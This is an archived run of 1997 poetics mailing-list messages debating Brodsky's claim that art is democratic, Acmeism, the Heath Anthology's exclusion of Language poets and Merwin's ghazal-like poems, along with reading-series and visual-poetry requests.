reality is imperfect and that a better alternative should be sought." - Joseph Brodsky, Poet Laureate of the US [ret.], veteran of soviet politics, Everybody's Favorite Reactionary, and the Farther from his Country [p.s. happy Veteran's Day]

This little paragraph, beautifully round and perfect, should convince every listreader of the particular glory of Russian vodka-conversation culture and its superiority to every other discourse. For me this paragraph is only equalled by the sentence in Brodsky's essay "Flight from Byzantium" in which he says [to paraphrase] "Constantine was, in a sense, the first Crusader." [ed. note: historians generally agree it was the Crusades that finally destroyed the Byzantine empire]. - Henry Gould

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218. Rachel Loden

Re: 2 fwded announcements

Tue 11 Nov 1997

> *In addition, 100 copies of _Xcp: Cross-Cultural Poetics_*
> *are sent to the most distinguished professors, poets, scholars, and*
> *university departments and libraries in the United States and Canada.*

God knows it's not like me to problematize, nor (on a good day) would I even dream of destabilizing anyone's configuration of subjectivity. But this list of the "hundred most distinguished" is intriguing. Are nominations debated by tenured revolutionary committee?

Rachel, waiting by the mailbox

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219. Eric Blarnes

Re: 2 fwded announcements

Tue 11 Nov 1997

On Tue, 11 Nov 1997 15:31:11 -0800 Rachel Loden said:
>> In addition, 100 copies of _Xcp: Cross-Cultural Poetics_
>> are sent to the most distinguished professors, poets, scholars, and
>> university departments and libraries in the United States and Canada.
>
>God knows it's not like me to problematize, nor (on a good day) would I
>even dream of destabilizing anyone's configuration of subjectivity. But
>this list of the "hundred most distinguished" is intriguing. Are
>nominations debated by tenured revolutionary committee?
>
>Rachel, waiting by the mailbox

Rachel, for a complete list of the 100 Most Distinguished online (you ARE on it!) proceed without delay to: http://www.Creme.de.la.Creme.edu, a website maintained by the Societe des Plus Puissants et Distingues Professeurs du Monde Entiere et Europeene Declasses et Decrivees et Decouvertes par le Table Ronde des Chapeaux de Neuf-Chateaux-Chapelles-Blancs Avec Buerre Moutarde et Beaucoup de Creme, Inc. I used to belong but excuse-my-french les jeux sont faits and they like full-bearded tenured and so forth. - Eric Blarnes

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220. **Hank Lazer**

Re: Heath 3, help?!

Tue 11 Nov 1997

I've just received a copy of the new (1998) 3rd edition, Volume 2, of the Heath Anthology of American Literature, Paul Lauter, General Editor. I served as a consultant, reviewed the 2nd edition, and suggested a number revisions in the modern and contemporary poetry selections. As might be expected, most of my suggestions were not accepted. Many of my arguments appear in _Opposing Poetries_ where I take the Heath to task for a narrow aesthetic range. For this 3rd edition, I suggested many changes, including a CD-ROM or an audiotape selection, an expanded range of selections by Baraka and Lorde, inclusion of a range of oral poetries including Rothenberg's work (particularly the Navajo Horse Songs) and Jack Foley's work, AND some attention to a range of Language writings.

What's weird is that in the Preface to the 3rd edition, I find myself thanked for my suggestions as a reviewer. And then:

"Though we considered these commentaries [those of a number of reviewers] very carefully, we were not always able to follow the advice of our reviewers. For example, Hank Lazer argued eloquently for a selection of the "Language Poets," but we were not persuaded that they would be taught by most users of the anthology. We could be wrong, and we would certainly like to hear from others on that subject, among others." (xlvii)

Well, there are some noteworthy and pleasing additions to the 3rd edition of the Heath. For example, there is now a new section, "Louis Zukofsky, Charles Reznikoff, and Objectivist Poetry." Though the blurb in the latest Heath Newsletter makes this claim: "The offerings of language poets has been enriched by a new section, 'Louis Zukofsky, Charles Reznikoff, and Objectivist Poetry." There is also a new selection from Theresa Hak Kyung Cha's _DICTEE_ and selections from Gloria Anzaldua's Borderlands/La Frontera.

I would encourage Poetics persons who wish to dispute the decision to exclude the "Language Poets" to write to any or all of the following:

Paul Lauter
Department of English
Trinity College
300 Summmit St.
Hartford, CT 06106-3100

Houghton Mifflin Company
College Division
222 Berkeley Street
Boston, MA 02116

Heath also operates a discussion group on American Literature at

[redacted]
with the message subscribe T-AMLIT your name

I hate to see the range of my recommendations reduced to "Language Poetry," but that does make for an interesting flashpoint in the institutionalization of contemporary poetry. I realize that for many of you, the entire issue of anthologies is of little interest. I also would point out that I have often taught from the Heath anthology, and I consider Paul Lauter a friend, though a friend with whom I have some substantial disagreements. I think that the Heath has been an important American Literature anthology, particularly the first edition. But the situation for poetry, particularly 20th century poetry in the Heath, pisses me off. Or at least that's a response after a quick glance at the "new" Heath.... Thought various ones of you might be interested.

Hank Lazer

↑ Index

221. Markus Foutu
Re: Mackey reading at Penn
Wed 12 Nov 1997

---

that you would think of Mackeys poetry as ""Language""poetry tells us everything we might need know about the grounding of your opinion. what are they teaching you all at brown?

markus

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222. Layne Russell
Re: poetry reading series in San Francisco?
Wed 12 Nov 1997

> *Poetry Flash (out of Berkeley) publishes a newsletter bi-monthly with reading and events around the entire Bay Area.....I don't have the address right off, but I think it's in Poets Market*
>
> *Bob*

Poetry Flash
1450 Fourth Street #4
Berkeley, CA 94710

Subscription $16 one year, bimonthly

PACKED with poetry events info for
Bay Area and other parts
Also poet interviews and articles
44 pages/newsprint

Layne

http://www.sonic.net/layne
A Quiet Place

↑ Index

223. Mark Wallace
poetry reading series in San Francisco?
Wed 12 Nov 1997

Could someone backchannel me information about addresses, locations, and times for poetry reading series in S.F. with a "modernist and postmodernist" bent. I have a friend who just moved out there from D.C. and is still looking for information on how to find readings.

Thanks.

Mark Wallace

/----------\ |
| | [redacted] | | GWU:
| | http://gwis2.circ.gwu.edu/~mdw | | EPC:
| | http://writing.upenn.edu/epc/authors/wallace | |
_____|

↑ Index

224. Douglas Barbour
Re: Perloff on Merwin
Wed 12 Nov 1997

Perloff's Merwin essay in is _Poetic License_ (Northwestern 1990). A fine book all the way through, natch.

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

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226. Safdie Joseph
Re: Puritan librarians NOT
Wed 12 Nov 1997

Mark Presjnar wrote (in part):

> There are two records there for the book. Both very happily include
> the world fuck, and the compound word it's embedded in, in several
> fields of the record. Searchable fields.
>
Now THAT's a record I'd like to search! (Have wondered lately if
Freudian slips now apply to e-mail typos as well as, uh, speech).

↑ Index

227. Annie Finch
Re: poetry reading series in San Francisco?
Wed 12 Nov 1997

The Flash's address is PO Box 4172, Berkeley, CA 94702.

By the way, I'd be very interested to see one of those ghazal/haiku hybrids of Merwin's. Would someone please post one?

Annie

> *Poetry Flash (out of Berkeley) publishes a newsletter bi-monthly with reading and events around the entire Bay Area.....I don't have the address right off, but I think it's in Poets Market*
>
> *Bob*
>
> *In a message dated 97-11-12 09:59:32 EST, you write:*
>
> *<<information about addresses,*
> *locations, and times for poetry reading series in S.F. with a "modernist and postmodernist" bent. I have a friend who just moved out there from D.C. and is still looking for information on how to find readings.>>*

Annie Finch (Homepage: http://www.muohio.edu/~finchar/)
Department of English
Miami University, Oxford, Ohio 45220

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228. Mark Prejsnar
Re: Puritan librarians NOT
Wed 12 Nov 1997

What's the freudian slip??

"searchable field"? that's cataloger lingo....

I remain puzzled..

Mark P.

On Wed, 12 Nov 1997, Safdie Joseph wrote:

> *Mark Presjnar wrote (in part):*
>
> *There are two records there for the book. Both very happily include the world fuck, and the compound word it's embedded in, in several fields of the record. Searchable fields.*
>
> *Now THAT's a record I'd like to search! (Have wondered lately if Freudian slips now apply to e-mail typos as well as, uh, speech).*

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229. William Burmeister Prod
Re: quote for the day
Wed 12 Nov 1997

On Nov 11, 5:47pm, henry gould wrote:
> Subject: quote for the day
> "The suggestion that the artist's perception of the world is more complex and
> intricate than that of the audience (NOT TO MENTION THAT OF HIS CREATIVE
> FOREBEARS) [note: "bears" - ed.] is ultimately undemocratic and unconvincing..
> . The proposition that the artist feels, comprehends and expresses something
> unattainable by the ordinary person is no more convincing than the suggestion
> that the artist's physical pain, hunger, and sexual satisfaction are more
> intense than those of a commoner. [He's been reading his elizabethans - ed.]

> True art is always democratic precisely because there is no denominator more
> common, whether in society or history, than the sense that reality is
> imperfect and that a better alternative should be sought."
> - Joseph Brodsky, Poet Laureate of the US [ret.], veteran of soviet politics,
> Everybody's Favorite Reactionary, and the Farther from his Country
> [p.s. happy Veteran's Day]
>
> This little paragraph, beautifully round and perfect, should convince every
> listreader of the particular glory of Russian vodka-conversation culture
> and its superiority to every other discourse. For me this
> paragraph is only equalled by the sentence in Brodsky's essay "Flight from
> Byzantium" in which he says [to paraphrase] "Constantine was, in a sense,
> the first Crusader." [ed. note: historians generally agree it was the
> Crusades that finally destroyed the Byzantine empire]. - Henry Gould
>-- End of excerpt from henry gould

Fine egalitarian sentiments those are from Joseph Brodsky. Fine versifier though he was, but I wonder if he meant this with every person he met, every baby he kissed. As much as I hate elitism, I tend to be skeptical of populism, which leads to (or is) just another manifestation of social realism. The problem here is his "true art is always democratic." Problematic in a democracy(?) where ideas and criticism are shunned at large, and where there has been a systematic dumbing-down of it's citizenry for decades now. For him to say undemocratic is paramount to saying unpopular. The suggestion that the artist's perception of the world is more complex and intricate than that of the audience may well be true and convincing, but only because it happens to be more developed at that time. More accurately, the artist is more narrowly focused or tuned in to a particular idea than is most of the audience (depending on the audience). Like it or not, look at how unavoidable and essential specialization is today. I do agree though with Brodsky when he speaks against what is thought to be unattainable or incomprehensible by the "ordinary person." The question is where each of us is NOW; a sober, self-assay is required by the individual here.

Henry, as much as I would like to partake right now in Russian vodka-conversation, I'm not convinced of its superiority to EVERY other discourse except theory. Allow me to add that there is no denominator more common, whether in society or history, than the sense of death, and that a better alternative should be sought. Death is a subset of reality sure, but a small space in time exists for a reality/non-reality called poetry and science :-).

Regards,

William Burmeister

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230. **henry**
Re: quote for the day
Wed 12 Nov 1997

I don't think you can fault Brodsky's statement because at the present time the U.S. is not fulfilling its own democratic principles. Democracy is not simply a U.S. product or token in an ideological-historical (i.e. east/west or cold war) game. Also I'm confused where you say Brodsky suggests that the artist's vision is inherently more complex, etc. I thought Brodsky was saying the opposite. I think Brodsky is linking art & democracy because they are both active assertions of shared freedom, one predominantly political, the other aesthetic. The fact that forces in the US & the west use the term "freedom" to support forms of economic slavery & inequality, again, doesn't belie his statement. You raise the question, though - what happens to the "democratic" character of art in an age of very spongy political democracy? (or is that an accurate characterization of the political climate?) Does the following equation apply: art/entertainment = citizenship/idiocy? Only in a dangerously simplified mathematical State, probably. But doesn't art offer, if not clarification, the democratic invitation to participate in complexity? Moral & aesthetic? Along with the freedom to turn down the invitation or even turn it upside down. That's the power in the artist's hand.

I was just kiddin' about the vodka-superiority argument. (or half-kidding).
- Henry Gould

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231. **David Israel**
Finding the Islands
Wed 12 Nov 1997

[was, Re: poetry reading series in San Francisco?]

Annie Finch writes,

<< By the way, I'd be very interested to see one of those ghazal/haiku hybrids of Merwin's. Would someone please post one? >>

Here are a scant couple verses, fetched from memory --

_____

The earth is bleeding into the sea far out
we look away

one side of the heart is dark

As the ant knows
where the honey is
I know the way to you

In referring to a (sort of) melding of haiku and ghazal in Merwin's work, I was speaking specifically of the form he developed for himself in or around the 70s -- issued in *Finding the Islands* (North Point Press).

Someone w/ *Finding the Islands" on hand might care to share a complete poem (I mean, one of the shorter ones) -- so that the sense of the individual verses within the whole might be more apparent.

Biblio-note: Not sure if that volume is still being kept in print (by Random House, which picked up some of the North Point books after the latter press folded), -- but there are *some* of those poems included (under title "Feathers From the Hill") in the newly issued *Flower & Hand* (Copper Canyon Press). This book follows up Copper Canyon's re-publishing effort for Merwin's work (as the out-of-print books selected from in *F&H* are a few vols that appeared subsequent to those included in Merwin's *The Second Four Books*, also from Copper Canyon).

To chut to the case, till I get my bookshelves assembled, it's uncertain if I'll be able to find either *Finding the Islands* or get my hands on *Flower & Hand* -- meanwhile, those 2 stanzas seem to be the only ones I'm able to dredge from memory.

All stanzas are in three lines. The poems consist of a string of such, of indeterminate (or not-predetermined) number, -- the length for a particular poem varying considerably.

As you might know, one characteristic of the *ghazal* form (in Persian and Urdu) is the fragmentary nature of the peom -- that is, not only is there no requirement that there be an explicit line of continuity from couplet to couplet (all ghazals being written as strings of couplets), but there is (to generalize) an anticipation that each couplet will stand on its own, in terms of subject & image etc. -- that is, the norm is somewhat *away* from overt continuity. Still, there's a strong link in the prosody (and thematics) -- including the rrequisite repetition of a key phrase at the end of the 2nd line (and with a feminine rhyme including said phrase). That sort of thing is *not* done in Merwin's verses (nor by many translators of ghazals); Merwin's FTI poems do, though, typically have a manner of loosened continuity (stanaza to stanza) that reminds me of the freedom

(in that regard) typical of the ghazal, and also reminds of a somewhat similar ranginess in Japanese "linked" verse forms.

My notion of an influence of the ghazal on the *FTI* poems is partly based on a comment Merwin makes (as quoted in the intro to Aijaz Ahmad's volume (published I think around the early 70s? by Columbia U. Press, and long out of print, sorry to say) *Ghazals of Ghalib*) to the effect that he was particularly happy to discover the approach of the *ghazal* (as I've tried to describe above) -- the way in which each verse has a kind of autonomy and yet some sense of connection with the whole -- the pearls-in-a-strand manner of that poetic tradition & form.

Merwin remarked that this seemed in line with (or helpful egarding) experiments he was working with at that point -- said work being, it seems clear, the *FTI* poems.

More than his comment, the work itself strikes me as interestingly reminiscent of east asian poetries as well as ghazal poetry. (I'm not aware that anyone has heretofore broached such comparison per se.)

lotta talk for 2 verses, sorry I don't remember more (or have book at beck) --

d.i.

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232. Harold Rhenisch
Re: Finding the Islands
Wed 12 Nov 1997

Here's one.

***

Dark Side

If I were to talk of you
how would anyone know
what the words meant

_____

you walk on a black road
brown water running beside you
eyes staring and the night coming with dark clouds

_____

you smile standing
in the green waves in the sunlight
with your hands in your dark wet hair

_____

some of what you
say to me I forget
but I remember you saying it in the dark

_____

always I want
you to say
more

_____

I see the back
of the mirror
you hold up to the light

_____

I watch you open
your eyes wider and wider
into the mirror

_____

you stand beside me
when we havejust
dried each other

_____

you breathe above my ear
you call out to me
from that close

_____

I hear your bare step on the bare floor
when I hold your dark
feet in my hands

_____

the earth is bleeding into the sea far out
we look away
one side of the heart is dark

W.S. Merwin. from _Finding_the_Islands_

↑ Index

233. Tom Beard
Re: Finding the Islands
Wed 12 Nov 1997

> Aijaz Ahmad's volume
> (published I think around the early 70s? by Columbia U. Press, and long out
> of print, sorry to say) *Ghazals of Ghalib*)

A collection of 41 of Ghalib's Ghazals can be found at "http://handel.pacific.net.sg/~loudon/ghalib.htm". How's your Urdu?

Tom Beard.

↑ Index

234. William Burmeister Prod
Re: quote for the day
Wed 12 Nov 1997

On Nov 12, 1:06pm, henry wrote:
> Subject: Re: quote for the day
> I don't think you can fault Brodsky's statement because at the present
> time the U.S. is not fulfilling its own democratic principles. Democracy
> is not simply a U.S. product or token in an ideological-historical
> (i.e. east/west or cold war) game.

I don't fault Brodsky for saying these things (they are wonderful IDEAS), rather I simply remain somewhat skeptical regarding their implications in the present. I may have sounded a bit reactionary (which shouldn't surprise), but I see myself somewhere in the middle here. That democracy is not a U.S. product is certain. However, one could understandably take the democratic system in which these statements were made as his audience, and given his poet laureate position (though I don't know if this was written when he held that chair), that would make it all the more plausible. And given human behavior such as it is in this imperfect reality, I believe that I would still take exception to the implications in his statements knowing what could be publicly made of them in anyone's democracy. This even though I understand and respect him when he speaks of the hope that "a better alternative should be sought" for our imperfect reality.

> *Also I'm confused where you say*
> *Brodsky suggests that the artist's vision is inherently more complex,*
> *etc. I thought Brodsky was saying the opposite.*

I thought so too, but didn't perhaps make it clear. I did not mean to say that Brodsky suggested that, but that I suggest that. I was suggesting that it may

actually be true for a given audience and the myriad of specific cases that can arise in the present moment whenever that is.

> *I think Brodsky is*
> *linking art & democracy because they are both active assertions of*
> *shared freedom, one predominantly political, the other aesthetic.*
> *The fact that forces in the US & the west use the term "freedom"*
> *to support forms of economic slavery & inequality, again, doesn't*
> *belie his statement. You raise the question, though - what happens*
> *to the "democratic" character of art in an age of very spongy*
> *political democracy? (or is that an accurate characterization*
> *of the political climate?)*

Although the question of democratic character of art in an age of very spongy political democracy is interesting and applicable here, it is not really where I wanted to be in this. This is an old battleground really: art and the public, and it is unpopular to say it, but the masses may be spongy. Sartre speaks a good deal about this in _Literature and Existentialism_. The disappearing Bourgeois and all that. Jose Ortega y Gasset does a great job on it in _Man and Crisis_.

> *Does the following equation apply:*
> *art/entertainment = citizenship/idiocy? Only in a dangerously*
> *simplified mathematical State, probably. But doesn't art offer,*
> *if not clarification, the democratic invitation to participate*
> *in complexity? Moral & aesthetic? Along with the freedom to*
> *turn down the invitation or even turn it upside down. That's the*
> *power in the artist's hand.*

I agree completely with you that art offers the democratic invitation to participate in complexity, in obscurity, and whatever else the artist cooks up. This kind of interaction could be be ideal if the artist is also free, and fatal if he is not. Surely then it must follow that art offers the freedom (to the public I assume) to turn down the invitation or turn it upside down. I believe this is where the problem is (for me anyway) since the public has largely rejected complexity in this century with its accusations of obscurity, hermeticism, etc. The obscurity isn't there necessarily for its own sake. I don't buy the excuses that a reasonably well educated public gives for rejecting or condemning the art and literature of whichever part of this century simply because they have opted out in favor of other pastimes and forms of entertainment without giving it some time. The populist solution is to make the work palatable and easy for whomever and then it will be acceptable. That is the part of the equation that I cannot abide by.

William Burmeister

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235. **Aldon Nielsen**
revising the MLA
Wed 12 Nov 1997

I've just discovered that the MLA program has left out two of the three papers on the first of the panels titled "Does Modernity Have A Future?" -- I am not the only speaker on that panel -- the other papers are as follows:

Jani Scandura -- U of Michigan
"A Geography of Depression"

Damon Marcel DeCoste -- U of Regina
"When Our Future Is Our Past"

so . . . any of you heading for Toronto at MLA time, please note this -- It should be a fun discussion

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236. **hg**
Re: quote for the day
Wed 12 Nov 1997

You raise some issues that have been around awhile(!) & can't be wished away. But I think you're melding together "democracy - masses - public opinion", and assuming too much in the process. Again, I think Brodsky was connecting the process of democracy - whereby some individuals get together & decide they will govern themselves, rather than be governed - and the process of art, whereby some individuals get together & share creative works. It happens on a field of free equality; that's it. He's not saying "good art can be evaluated democratically" (by a process of compromise & consensus?), or "good art must be popular". He's saying art expresses human experience, rather than enlightening it or reforming it or refining it "from above". In this he is going back to Mandelstam, and Akhmatova, as he does constantly in essay after essay. He is one of the Petersburg poets, a close stream. & one of the standards of their Acmeism (as against Symbolism) is that the artist is like everybody else. - Henry Gould

↑ Index

237. **Harold Rhenisch**
Re: Acmeists
Wed 12 Nov 1997

---

re:

> *The poet is just like everybody else, only more so*

I think this discussion has emigrated to a strange, attenuated country.

I thought poetry had something to do with language.

The above statement seems to suggest that it is concerned with an intensified everybodyness. Even if we stretched that out to cover everybody's use of language, we'd be stretching.

We could just as easily say "The engineer is just like everybody else, only more so" or "The tobacco company executive is just like everybody else, only more so". See, it pretty well fits everybody, and in each case it takes on its own slant.

Am I missing something?

Harold Rhenisch
[redacted]

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238. **Harold Rhenisch**
Re: quote for the day
Wed 12 Nov 1997

William Burmeister wrote:

>the public has largely rejected complexity in this century with its
>accusations of obscurity, hermeticism, etc. The obscurity isn't there
>necessarily for its own sake. I don't buy the excuses that a reasonably
well
>educated public gives for rejecting or condemning the art and literature
of
>whichever part of this century simply because they have opted out in favor

> *of other pastimes and forms of entertainment without giving it some time.*
> *The populist solution is to make the work palatable and easy for whomever*

>and then it will be acceptable. That is the part of the equation that I
cannot
>abide by.

Is it the obscurity that people object to or that the material is based upon cultural assumptions they do not ascribe to? The audience's feeling of obscurity would be the same, but the causes and solutions would vary, would they not?

As a clarification: artists might create so-called obscure texts out of a deep reading of democracy, but the audience might not be interested in deep readings of democracy, and might be reading something quite different than democracy when democracy is mentioned. Furthermore, the aesthetic that led to the so-called obscure text might be justifiable, but will not be read properly by

people living in the strange land of secondary readings, where democracy does not mean democracy, and so forth. Pop culture is a code, too, as is art.

As a digression: would it be possible to sidestep this problem by using a sophisticated aesthetic to manipulate the icons of pop culture, but not for the purposes of pop culture?

Regards,

Harold Rhenisch
[redacted]

↑ Index

239. **Aldon Nielsen**
Re: Acmeists
Wed 12 Nov 1997

The poet is just like everybody else, only more so

↑ Index

240. **Aldon Nielsen**
Re: Acmeists
Wed 12 Nov 1997

At 02:30 PM 11/12/97 -0700, you wrote:
>re:
>
>>The poet is just like everybody else, only more so
>
>I think this discussion has emigrated to a strange, attenuated country.
>
>I thought poetry had something to do with language.
>
>The above statement seems to suggest that it is concerned with an
>intensified everybodyness. Even if we stretched that out to cover
>everybody's use of language, we'd be stretching.
>
>We could just as easily say "The engineer is just like everybody else, only
>more so" or "The tobacco company executive is just like everybody else,
>only more so". See, it pretty well fits everybody, and in each case it
>takes on its own slant.
>
>Am I missing something?
>

>Harold Rhenisch
>[redacted]
>

Harold:

If you missed something, it was the quote to which I was responding --

"I thought poetry had something to do with language."

--so did everybody else

"I think that I shall never see a poem more lovely than a tree."

Couldn't we substitute "house" for "poem"?

Couldn't we substitute "sea" for "tree"

yours from that attenuated, far country,

El Haj

↑ Index

241. William Burmeister Prod

Re: quote for the day

Wed 12 Nov 1997

> *Is it the obscurity that people object to or that the material is based upon cultural assumptions they do not ascribe to? The audience's feeling of obscurity would be the same, but the causes and solutions would vary, would they not?*
>
> *As a clarification: artists might create so-called obscure texts out of a deep reading of democracy, but the audience might not be interested in deep readings of democracy, and might be reading something quite different than democracy when democracy is mentioned. Furthermore, the aesthetic that led to the so-called obscure text might be justifiable, but will not be read properly by people living in the strange land of secondary readings, where democracy does not mean democracy, and so forth. Pop culture is a code, too, as is art.*
>
> *As a digression: would it be possible to sidestep this problem by using a sophisticated aesthetic to manipulate the icons of pop culture, but not for the purposes of pop culture?*
>
> *Regards,*
>
> *Harold Rhenisch*
> [redacted]
> *-- End of excerpt from Harold Rhenisch*

My guess would be that people object to what they see as obscurity for its own sake on the first order, or if they belong a different cultural group than the artist that might be the first order objection. Some may receive so-called obscure work for similar reasons.

> *Furthermore, the aesthetic that led*
> *to the so-called obscure text might be justifiable, but will not be read*
> *properly by people living in the strange land of secondary readings, where*
> *democracy does not mean democracy, and so forth.*

This adds to the discussion I think, but what is meant by being read properly in the context of poetry vs say prose?

> *As a digression: would it be possible to sidestep this problem by using a*
> *sophisticated aesthetic to manipulate the icons of pop culture, but not for*
> *the purposes of pop culture?*

I think (if I understand you) this is postmodernism.

William Burmeister

↑ Index

242. Daniel Zimmerman
Re: Soko Loco
Wed 12 Nov 1997

Aviva Vogel wrote:
>
> Oh, Harold! Oh yes! A computer program that would chug away like a Nepalese
> prayer wheel through the dictionary, slotting words into various syntactical
> structures! Of course, we can do that endlessly ourselves, without our
> laptops and CD-Rom drives, but hey! Like an anagram generator, it could be a
> useful tool (or toy) to jump-start a poetry-writing session (or week or month
> or year) that's faltering a bit (or a lot). Clever! Enticing! I'll be the
> first customer! -Aviva

Hi, Aviva.

For the past few months, I've worked on a series of poems based on four-fold word squares run through an anagram generator which produces c. 500K of lines employing the 16 letters in words. I sift through them, identify the most likely, & let them mull about until they find an order I also recognize. For example [I hope this comes through the email intact!]:

WORD
ALOE

RISE
POEM

I wore a prose model
or a sole weird poem,
a woe period morsel.
I seldom wore a rope.
I led a morose power,
a wide remorse loop,
or I rose, a lewd poem,
a poem idle or worse.
we lose a prior dome,
a slow ode or empire;
we despoil a Rome, or
deplore a wise room.
more power is a dole.
desire me, a poor owl.

Daniel Zimmerman

↑ Index

243. tristan saldana
Re: Heath 3, help?!
Wed 12 Nov 1997

On Tue, 11 Nov 1997, Hank Lazer wrote:

> *But the situation for poetry, particularly 20th century poetry in the Heath, pisses me off.*

Amen. The situation for poetry pisses me off too, Heath or no Heath.

Tristan

↑ Index

244. Steven Marks
Re: Puritan librarians NOT
Wed 12 Nov 1997

I think he is referring to the "world fuck."
Which is a fuck to beckon with.

On Wed, 12 Nov 1997, Mark
Prejsnar wrote:

> *What's the freudian slip??*

> *"searchable field"? that's cataloger lingo....*
>
> *I remain puzzled..*
>
> *Mark P.*
>
> *On Wed, 12 Nov 1997, Safdie Joseph wrote:*
>
> *Mark Presjnar wrote (in part):*
>
> *There are two records there for the book. Both very happily include the world fuck, and the compound word it's embedded in, in several fields of the record. Searchable fields.*
>
> *Now THAT's a record I'd like to search! (Have wondered lately if Freudian slips now apply to e-mail typos as well as, uh, speech).*

Steven Marks

http://members.aol.com/swmarks/welcome.html

↑ Index

245. **David R. Israel**

Re: Acmeists

Wed 12 Nov 1997

Harold Rhenisch writes,

> *re:*
>
> *The poet is just like everybody else, only more so*
>
> *I think this discussion has emigrated to a strange, attenuated country.*
>
> *I thought poetry had something to do with language.*

> *The above statement seems to suggest that it is concerned with an intensified everybodyness. Even if we stretched that out to cover everybody's use of language, we'd be stretching.*

yes & no --

how's this for one poss. interpretive reading of the sentence:

[What] the poet [expresses] is just like [what] everybody else [expresses], only more so

the relationship between what is, and what is said, is arguably relevant to just about any poetics worth its seasalt --

poets being in the biz of exploring that, they may sometimes give it voice more acutely --

to the extent that what-one-is is (so far as writing goes) evidenced by the written, ergo, the poet may well evidence it more so, eh?

whether the poet really IS more so, or whether the being more so is simply more evident, is a worthy enough question, maybe --

but sometimes, in some circumstances, it might be that the focus on & attention to these problematics may acutize [new word?] the being, or at least seem to so do, hmm?

. . . a few thoughts on that

d.i.

```
 .
 .....
 ............
 \\\\
```

246. tristan saldana
Re: Heath 3, help?!
Wed 12 Nov 1997

On Tue, 11 Nov 1997, Hank Lazer wrote:

> *Hank Lazer argued eloquently for a selection of the "Language Poets,"*
> *but we were not persuaded that they would be taught by most users of the anthology.*

While the Heath anthologists may not have been persuaded that the "Language Poets" _would_ be taught by most "users" of the anthology, they just _gauranteed_ that they would not be taught by excluding them.

Tristan

↑ Index

247. Maria Damon (Maria Damon)
watten barrage
Wed 12 Nov 1997

---

just read watten's bride of the assembly line, magnifique/ i don't have such a stake in the grenier/coolidge discussion, but very taken with initial discussion of context and the avantgarde. refreshing, true, and yay!

↑ Index

248. Marjorie Perloff
Re: James Laughlin
Thu 13 Nov 1997

One of the great literary men/women of our time died today: James Laughlin. Many on this list whose work he published and who cherished his own poetry, memoirs, and essays, this is a sad, sad, day.

I'm in Indiana doing a residency (Patten Lectures) and can't write at normal speed, but I'm sure there will be more material coming in from Eliot Weinberger or Jerome Rothenberg etc. etc. I just wanted people to know.

Marjorie Perloff

↑ Index

249. **Layne Russell**
Re: acme
Thu 13 Nov 1997

---

david bromige wrote:
>
> each night is dark, but tonight is darker
>
> as if the word essence had meaning
>
> a lucky sentence might intensify
>
> then again, each night is dark
>
> how tell one from the next
>
> none is so capable

love that last line

L

↑ Index

250. **david bromige**
acme
Thu 13 Nov 1997

---

each night is dark, but tonight is darker

as if the word essence had meaning

a lucky sentence might intensify

then again, each night is dark

how tell one from the next

none is so capable

↑ Index

251. **Lawrence Upton.**
democracy
Thu 13 Nov 1997

---

hg wrote

| Again, I think Brodsky | was connecting the process of democracy - whereby some individuals | get together & decide they will govern themselves, rather than be | governed -

- that's *anarchy - wch we are not allowed
rather than *democracy - wch we have not got

↑ Index

252. **Jacques Debrot**
Re: Reading series in Boston?
Thu 13 Nov 1997

Have yet to see on the List any announcements for exp. poetry readings in Boston. Does anyone know of any that are upcoming?

↑ Index

253. **henry g**
Re: Acmeists
Thu 13 Nov 1997

On Wed, 12 Nov 1997 14:15:12 -0800 Aldon Nielsen said:
>The poet is just like everybody else, only more so

A true Acmeist position. I should have qualified previous post by noting that the Acmeist polemic with the Symbolists, in which Gumilov, Mandelstam & others took the approach that the artist was not an exalted priestly personage but an ordinary earthbound creature, was tempered on both sides of the debate by the Petersburgian hauteur, the respect for cultural tradition, the aristocracy of the intelligentsia... a very different animal from what we understand to be "populism". - Henry G.

↑ Index

254. **Susan Wheeler**
DIGEST re Brodsky
Thu 13 Nov 1997

Wasn't Brodsky simply countering the Romantic and post-R notion of poet-as-seer/shaman/bodhisattva/O Great One?

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

255. **henry g**
Re: democracy
Thu 13 Nov 1997

> *hg wrote*
>
> *| Again, I think Brodsky*
> *| was connecting the process of democracy - whereby some individuals*
> *| get together & decide they will govern themselves, rather than be*
> *| governed -*
>
> *- that's *anarchy - wch we are not allowed*
> *rather than *democracy - wch we have not got*

I was implying that the individuals so inclined would establish a representative government of not particularly un-venal well-meaning buddy-system cousins such as we have here in Grand Fenwick, otherwise known as Little Rhody. - Henry Gould

↑ Index

256. **henry g**
Re: DIGEST re Brodsky
Thu 13 Nov 1997

On Thu, 13 Nov 1997 08:03:51 -0500 Susan Wheeler said:
>Wasn't Brodsky simply countering the Romantic and post-R notion of
>poet-as-seer/shaman/bodhisattva/O Great One?
>
Yes - this is part of what the Acmeist "program" involved. But it's sloppy of me to keep calling Brodsky an "acmeist", a tenuous "movement" back at the turn of the other century. He may have found a closer model for the style he was after in Auden: the anti-heroic, the everyday human-humane. - Henry G.

↑ Index

257. **Jena Osman**
visual poetry on the internet
Thu 13 Nov 1997

For a workshop in visual poetry: I'm looking for good examples of visual poetry on the internet. I'm already familiar with the amazing ubuweb site. Please send URL's of other favorites. Thanks,

Jena Osman
[redacted]

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258. **Jacques Debrot**
Re: Visual poetry
Thu 13 Nov 1997

You might want to check out:
1. Po'Fly Electro-MATIC language~arts at:
http://members.aol.com/poflye/pofly.htm
2. Postypographika at:
http://postypogaphika.com
3. Grist-On-Line at:
http://www.thing.net?/~grist

Also, while it is often not *exactly* visual poetry, *Artforum* magazine often lists relevant websites in Mark van de Walle's column; check out the Jan '97 issue -- particularly interesting are:
1. 100CC at:
http://www.jodi.org/100cc/index.html
2. The Surrealism Server at:
http://pharmdec.wustl.edu/juju/surr/

↑ Index

259. **Jacques Debrot**
Re: Visual poetry typo
Thu 13 Nov 1997

Just caught a typo in my previous message; the correct web address for Po'Fly is:

http:// members.aol.com/poflye/poflye.htm

↑ Index

260. **Maria Damon**
Re: James Laughlin
Thu 13 Nov 1997

At 9:36 PM -0800 11/12/97, Marjorie Perloff wrote:
>One of the great literary men/women of our time died today: James
>Laughlin. Many on this list whose work he published and who cherished his
>own poetry, memoirs, and essays, this is a sad, sad, day.
>
>I'm in Indiana doing a residency (Patten Lectures) and can't write at
>normal speed, but I'm sure there will be more material coming in from

>Eliot Weinberger or Jerome Rothenberg etc. etc. I just wanted people to
>know.
>
>Marjorie Perloff

